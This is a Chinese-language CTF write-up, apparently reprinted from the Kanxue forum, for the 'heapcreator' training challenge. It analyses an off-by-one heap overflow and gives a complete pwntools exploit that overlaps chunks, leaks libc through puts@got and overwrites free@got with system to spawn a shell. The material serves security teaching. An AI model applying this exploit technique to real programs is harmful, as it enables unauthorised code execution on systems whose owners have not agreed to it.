Hitcontraining_heapcreator

admin 2026-01-17 01:49:37 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了Hitcontraining_heapcreator题目的利用过程。程序存在off-by-one漏洞,攻击者可通过修改堆大小实现chunkextend与overlap。利用该漏洞覆盖heaparray指针指向GOT表,泄露libc基址后将free函数地址修改为system,最终获取shell。 综合评分: 95 文章分类: CTF,二进制安全,漏洞分析,漏洞POC


cover_image

Hitcontraining_heapcreator

G0t1T G0t1T

看雪学苑

2026年1月15日 17:59 上海

看保护

Partial RELRO表明got表可写:

看ida

main函数

可以看到是菜单题,有四个功能:

intmenu(){
puts("--------------------------------");
puts("          Heap Creator          ");
puts("--------------------------------");
puts(" 1. Create a Heap               ");
puts(" 2. Edit a Heap                 ");
puts(" 3. Show a Heap                 ");
puts(" 4. Delete a Heap               ");
puts(" 5. Exit                        ");
puts("--------------------------------");
return printf("Your choice :");
}
int __fastcall main(int argc, constchar **argv, constchar **envp){
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
  {
menu();
read(0, buf, 4uLL);
switch ( atoi(buf) )
    {
case 1:
create_heap();
break;
case 2:
edit_heap();
break;
case 3:
show_heap();
break;
case 4:
delete_heap();
break;
case 5:
exit(0);
default:
puts("Invalid Choice");
break;
    }
  }
}

create_heap函数

分析代码可以知道heaparray是一个全局变量,从0-9先判断该数组是否已填满(10个),未填满则申请0x10大小的内存地址(记为内存1)作为元素值,然后输入size,size作为该内存地址的前0x8字节的值,后0x8字节用来存放malloc(size)返回的内存地址(记为内存2),之后再用read_input(*((_QWORD)(&heaparray + i) + 1), size);往内存2写入东西,写入长度是size。没啥毛病。

unsigned __int64 create_heap(){
  __int64 v0; // rbx
int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
for&nbsp;( i =&nbsp;0; i <=&nbsp;9; ++i )
&nbsp; {
if&nbsp;( !*(&heaparray + i) )
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; *(&heaparray + i) =&nbsp;malloc(0x10uLL);
if&nbsp;( !*(&heaparray + i) )
&nbsp; &nbsp; &nbsp; {
puts("Allocate Error");
exit(1);
&nbsp; &nbsp; &nbsp; }
printf("Size of Heap : ");
read(0, buf,&nbsp;8uLL);
&nbsp; &nbsp; &nbsp; size =&nbsp;atoi(buf);
&nbsp; &nbsp; &nbsp; v0 = (__int64)*(&heaparray + i);
&nbsp; &nbsp; &nbsp; *(_QWORD *)(v0 +&nbsp;8) =&nbsp;malloc(size);
if&nbsp;( !*((_QWORD *)*(&heaparray + i) +&nbsp;1) )
&nbsp; &nbsp; &nbsp; {
puts("Allocate Error");
exit(2);
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; *(_QWORD *)*(&heaparray + i) = size;
printf("Content of heap:");
read_input(*((_QWORD *)*(&heaparray + i) +&nbsp;1), size);
puts("SuccessFul");
return&nbsp;__readfsqword(0x28u) ^ v5;
&nbsp; &nbsp; }
&nbsp; }
return&nbsp;__readfsqword(0x28u) ^ v5;
}

调用一次create_heap函数如下:

edit_heap函数

指定heaparray的索引,修改内存2的内容,问题出在read_input(*((void **)*(&heaparray + v1) + 1), *(_QWORD)(&heaparray + v1) + 1LL);这里,读入长度(_QWORD)(&heaparray + v1) + 1LL也就是size+1,会造成off-by-one溢出,我们可以溢出size的低字节,造成chunk extend和overlap。

unsigned&nbsp;__int64&nbsp;edit_heap(){
int&nbsp;v1;&nbsp;// [rsp+Ch] [rbp-14h]
char&nbsp;buf[8];&nbsp;// [rsp+10h] [rbp-10h] BYREF
unsigned&nbsp;__int64 v3;&nbsp;// [rsp+18h] [rbp-8h]

&nbsp; v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf,&nbsp;4uLL);
&nbsp; v1 =&nbsp;atoi(buf);
if&nbsp;( (unsignedint)v1 >=&nbsp;0xA&nbsp;)
&nbsp; {
puts("Out of bound!");
&nbsp; &nbsp; _exit(0);
&nbsp; }
if&nbsp;( *(&heaparray + v1) )
&nbsp; {
printf("Content of heap : ");
read_input(*((void&nbsp;**)*(&heaparray + v1) +&nbsp;1), *(_QWORD *)*(&heaparray + v1) +&nbsp;1LL);
puts("Done !");
&nbsp; }
else
&nbsp; {
puts("No such heap !");
&nbsp; }
return&nbsp;__readfsqword(0x28u) ^ v3;
}

show_heap

就是打印size和内存2的内容

unsigned&nbsp;__int64&nbsp;show_heap(){
int&nbsp;v1;&nbsp;// [rsp+Ch] [rbp-14h]
char&nbsp;buf[8];&nbsp;// [rsp+10h] [rbp-10h] BYREF
unsigned&nbsp;__int64 v3;&nbsp;// [rsp+18h] [rbp-8h]

&nbsp; v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf,&nbsp;4uLL);
&nbsp; v1 =&nbsp;atoi(buf);
if&nbsp;( (unsignedint)v1 >=&nbsp;0xA&nbsp;)
&nbsp; {
puts("Out of bound!");
&nbsp; &nbsp; _exit(0);
&nbsp; }
if&nbsp;( *(&heaparray + v1) )
&nbsp; {
printf("Size : %ld\nContent : %s\n", *(_QWORD *)*(&heaparray + v1), *((constchar&nbsp;**)*(&heaparray + v1) +&nbsp;1));
puts("Done !");
&nbsp; }
else
&nbsp; {
puts("No such heap !");
&nbsp; }
return&nbsp;__readfsqword(0x28u) ^ v3;
}

delete_heap

根据索引删除heaparray对应的内存1和内存2

unsigned&nbsp;__int64&nbsp;delete_heap(){
int&nbsp;v1;&nbsp;// [rsp+Ch] [rbp-14h]
char&nbsp;buf[8];&nbsp;// [rsp+10h] [rbp-10h] BYREF
unsigned&nbsp;__int64 v3;&nbsp;// [rsp+18h] [rbp-8h]

&nbsp; v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf,&nbsp;4uLL);
&nbsp; v1 =&nbsp;atoi(buf);
if&nbsp;( (unsignedint)v1 >=&nbsp;0xA&nbsp;)
&nbsp; {
puts("Out of bound!");
&nbsp; &nbsp; _exit(0);
&nbsp; }
if&nbsp;( *(&heaparray + v1) )
&nbsp; {
free(*((void&nbsp;**)*(&heaparray + v1) +&nbsp;1));
free(*(&heaparray + v1));
&nbsp; &nbsp; *(&heaparray + v1) =&nbsp;0LL;
puts("Done !");
&nbsp; }
else
&nbsp; {
puts("No such heap !");
&nbsp; }
return&nbsp;__readfsqword(0x28u) ^ v3;
}

思路

我们利用三次create_heap功能,得到heaparray[0],heaparray[1],heaparray[2],利用edit_heap的off-by-one,我们可以修改heaparray[1]内存1的size字段,使得heaparray[1]的内存1可以覆盖heaparray[2]的内存1的内容,完成chunk extend和overlap,进而实现任意地址修改,劫持got表拿shell。

调试过程

def&nbsp;create(size,payload):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'1')
&nbsp; &nbsp; io.recvuntil(b"Size of Heap : ")
&nbsp; &nbsp; io.sendline(str(size).encode())
&nbsp; &nbsp; io.recvuntil(b"Content of heap:")
&nbsp; &nbsp; io.sendline(payload)
def&nbsp;edit(index,payload):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'2')
&nbsp; &nbsp; io.recvuntil(b"Index :")
&nbsp; &nbsp; io.sendline(str(index).encode())
&nbsp; &nbsp; io.recvuntil(b"Content of heap : ")
&nbsp; &nbsp; io.send(payload)
def&nbsp;show(index):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'3')
&nbsp; &nbsp; io.recvuntil(b"Index :")
&nbsp; &nbsp; io.sendline(str(index).encode())
&nbsp; &nbsp; io.recvuntil(b"Content : ")
&nbsp; &nbsp; content =&nbsp;u64(io.recvuntil(b"\n",drop=True).ljust(0x8,b'\x00'))
&nbsp; &nbsp; return content
def&nbsp;delete(index):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'4')
&nbsp; &nbsp; io.recvuntil(b"Index :")
&nbsp; &nbsp; io.sendline(str(index).encode())

先写下程序交互

create(0x18,b'aaa')# chunk1:0x20 chunk2:0x20
create(0x20,b'aaa')# chunk3:0x20 chunk4:0x30
create(0x20,b'aaa')# chunk5:0x20 chunk6:0x30

三次create申请了6个chunk,注意第一个malloc(0x18)会把chunk3的pre_size字段给chunk2用。

chunk1的前8字节是记录的size为18,后8字节记录的是chunk2的数据部分地址。

edit(0,b'a'*0x18+p8(0x71))# off-by-one修改chunk3的size字段,使得chunk3的size从0x20变成0x70,使得chunk3能够覆盖chunk3,chunk4,chunk5的内容

可以看到成功把chunk3的size修改成0x71,chunk3覆盖了chunk4和chunk5

delete(1)

payload = b'a'*0x50&nbsp;+ p64(0x20) + p64(elf.got["puts"])# 把索引为2的heaparray的堆修改为puts@got
create(0x60,payload)

我们重新申请一个0x60大小的内存,并把heaparray[2]的内存1也就是chunk5的后8字节覆盖为put@got。也就是我们可以修改heaparray[1]的内存2内容,从而能够修改heaparray[2]的内存1的内容,注意内存1的后8字节是存放内存2地址的,而我们刚好可以利用edit_heap修改heaparray[2]的内存2的内容,不就能实现任意地址写了。而利用show_heap还能实现任意地址读。

可以看到此时heaparray[2]的内存1的后8字节变成了0x602028,也就是puts@got地址,而我们还可以利用show_heap打印heaparray[2]内存2的内容,这里就是打印puts@got的内容,我们就可以泄露libc基址了。

puts_addr = show(2)# 泄露puts@got内容
log.info(f"puts_addr -->{hex(puts_addr)}")
base = puts_addr - libc.symbols["puts"]
system = base + libc.symbols["system"]
payload = b'a'*0x50 + p64(0x20) + p64(elf.got["free"])# 把索引为2的heaparray的堆修改为free@got
edit(1,payload)

获取的地址和调试的一样。

接着把heaparray[2]的内存1的后8字节变成了0x602018,也就是free@got地址。

edit(2,p64(system))# 把free@got内容修改为system地址
edit(0,b'/bin/sh\x00')
delete(0)#&nbsp;free(heaparray[0]+1)变成了system(heaparray[0]+1),也就是system("/bin/sh\x00")
io.interactive()

此时,我们修改heaparray[2]的内存2,其实就是修改free@got的内容,这里修改成system地址。

再把heaparray[0]的内存2内容改成/bin/sh,当free(*(heaparray[0]+1))时,其实就是system(“/bin/sh”)。

EXP

from&nbsp;pwn import&nbsp;*
context(arch&nbsp;=&nbsp;"amd64", os&nbsp;=&nbsp;"linux", log_level&nbsp;=&nbsp;"debug")
io&nbsp;=&nbsp;process("heapcreator")
#gdb.attach(io,"b *0x400D96")
elf&nbsp;=&nbsp;ELF("heapcreator")
libc&nbsp;=&nbsp;ELF("./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so")
def&nbsp;create(size,payload):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'1')
&nbsp; &nbsp; io.recvuntil(b"Size of Heap : ")
&nbsp; &nbsp; io.sendline(str(size).encode())
&nbsp; &nbsp; io.recvuntil(b"Content of heap:")
&nbsp; &nbsp; io.sendline(payload)
def edit(index,payload):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'2')
&nbsp; &nbsp; io.recvuntil(b"Index :")
&nbsp; &nbsp; io.sendline(str(index).encode())
&nbsp; &nbsp; io.recvuntil(b"Content of heap : ")
&nbsp; &nbsp; io.send(payload)
def&nbsp;show(index):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'3')
&nbsp; &nbsp; io.recvuntil(b"Index :")
&nbsp; &nbsp; io.sendline(str(index).encode())
&nbsp; &nbsp; io.recvuntil(b"Content : ")
&nbsp; &nbsp; content&nbsp;=&nbsp;u64(io.recvuntil(b"\n",drop=True).ljust(0x8,b'\x00'))
return&nbsp;content
def&nbsp;delete(index):
&nbsp; &nbsp; io.recvuntil(b"Your choice :")
&nbsp; &nbsp; io.send(b'4')
&nbsp; &nbsp; io.recvuntil(b"Index :")
&nbsp; &nbsp; io.sendline(str(index).encode())
create(0x18,b'aaa')# chunk1:0x20&nbsp;chunk2:0x20
create(0x20,b'aaa')# chunk3:0x20&nbsp;chunk4:0x30
create(0x20,b'aaa')# chunk5:0x20&nbsp;chunk6:0x30
edit(0,b'a'*0x18+p8(0x71))# off-by-one修改chunk3的size字段,使得chunk3的size从0x20变成0x70,使得chunk3能够覆盖chunk3,chunk4,chunk5的内容
delete(1)
payload&nbsp;=&nbsp;b'a'*0x50&nbsp;+&nbsp;p64(0x20)&nbsp;+&nbsp;p64(elf.got["puts"])# 把索引为2的heaparray的堆修改为puts@got
create(0x60,payload)
puts_addr&nbsp;=show(2)# 泄露puts@got内容
log.info(f"puts_addr -->{hex(puts_addr)}")
base&nbsp;=&nbsp;puts_addr&nbsp;-&nbsp;libc.symbols["puts"]
system&nbsp;=&nbsp;base&nbsp;+&nbsp;libc.symbols["system"]
payload&nbsp;=&nbsp;b'a'*0x50&nbsp;+&nbsp;p64(0x20)&nbsp;+&nbsp;p64(elf.got["free"])# 把索引为2的heaparray的堆修改为free@got
edit(1,payload)
edit(2,p64(system))# 把free@got内容修改为system地址
edit(0,b'/bin/sh\x00')
delete(0)#&nbsp;free(heaparray[0]+1)变成了system(heaparray[0]+1),也就是system("/bin/sh\x00")
io.interactive()

#

看雪ID:G0t1T

https://bbs.kanxue.com/user-home-1002337.htm

*本文为看雪论坛优秀文章,由 G0t1T 原创,转载请注明来自看雪社区

往期推荐

逆向分析某手游基于异常的内存保护

解决Il2cppapi混淆,通杀DumpUnityCs文件

记录一次Unity加固的探索与实现

DLINK路由器命令注入漏洞从1DAY到0DAY

量子安全 quantum ctf Global Hyperlink Zone Hack the box

球分享

球点赞

球在看

点击阅读原文查看更多


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:看雪学苑 G0t1T G0t1T《Hitcontraining_heapcreator》

评论:0   参与:  0